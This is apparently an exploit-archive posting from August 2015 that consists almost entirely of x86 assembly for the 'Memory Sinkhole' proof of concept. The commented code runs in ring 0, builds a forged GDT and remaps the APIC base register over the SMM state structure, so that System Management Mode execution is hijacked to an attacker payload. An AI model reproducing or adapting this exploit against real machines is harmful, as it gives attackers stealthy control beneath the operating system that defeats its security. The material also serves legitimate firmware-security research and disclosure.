Linux/x86 Memory Sinkhole Proof Of Concept
Posted on 09 August 2015
; memory sinkhole proof of concept ; hijack ring -2 execution through the apic overlay attack. ; deployed in ring 0 ; the SMBASE register of the core under attack TARGET_SMBASE equ 0x1f5ef800 ; the location of the attack GDT. ; this is determined by which register will be read out of the APIC ; for the GDT base. the APIC registers at this range are hardwired, ; and outside of our control; the SMM code will generally be reading ; from APIC registers in the 0xb00 range if the SMM handler is page ; aligned, or the 0x300 range if the SMM handler is not page aligned. ; the register will be 0 if the SMM handler is aligned to a page ; boundary, or 0x10000 if it is not. GDT_ADDRESS equ 0x10000 ; the value added to SMBASE by the SMM handler to compute the ; protected mode far jump offset. we could eliminate the need for an ; exact value with a nop sled in the hook. FJMP_OFFSET equ 0x8097 ; the offset of the SMM DSC structure from which the handler loads ; critical information DSC_OFFSET equ 0xfb00 ; the descriptor value used in the SMM handler’s far jump DESCRIPTOR_ADDRESS equ 0x10 ; MSR number for the APIC location APIC_BASE_MSR equ 0x1b ; the target memory address to sinkhole SINKHOLE equ ((TARGET_SMBASE+DSC_OFFSET)&0xfffff000) ; we will hijack the default SMM handler and point it to a payload ; at this physical address. PAYLOAD_OFFSET equ 0x1000 ; compute the desired base address of the CS descriptor in the GDT. ; this is calculated so that the fjmp performed in SMM is perfectly ; redirected to the payload hook at PAYLOAD_OFFSET. CS_BASE equ (PAYLOAD_OFFSET-FJMP_OFFSET) ; we target the boot strap processor for hijacking. APIC_BSP equ 0x100 ; the APIC must be activated for the attack to work. APIC_ACTIVE equ 0x800 ;;; begin attack ;;; ; clear the processor caches, ; to prevent bypassing the memory sinkhole on data fetches wbinvd ; construct a hijack GDT in memory under our control ; note: assume writing to identity mapped memory. ; if non-identity mapped, translate these through the page tables first. mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+4], (CS_BASE&0xff000000) | (0x00cf9a00) | (CS_BASE&0x00ff0000)>>16 mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+0], (CS_BASE&0x0000ffff)<<16 | 0xffff ; remap the APIC to sinkhole SMM’s DSC structure mov eax, SINKHOLE | APIC_ACTIVE | APIC_BSP mov edx, 0 mov ecx, APIC_BASE_MSR wrmsr ; wait for a periodic SMI to be triggered jmp $
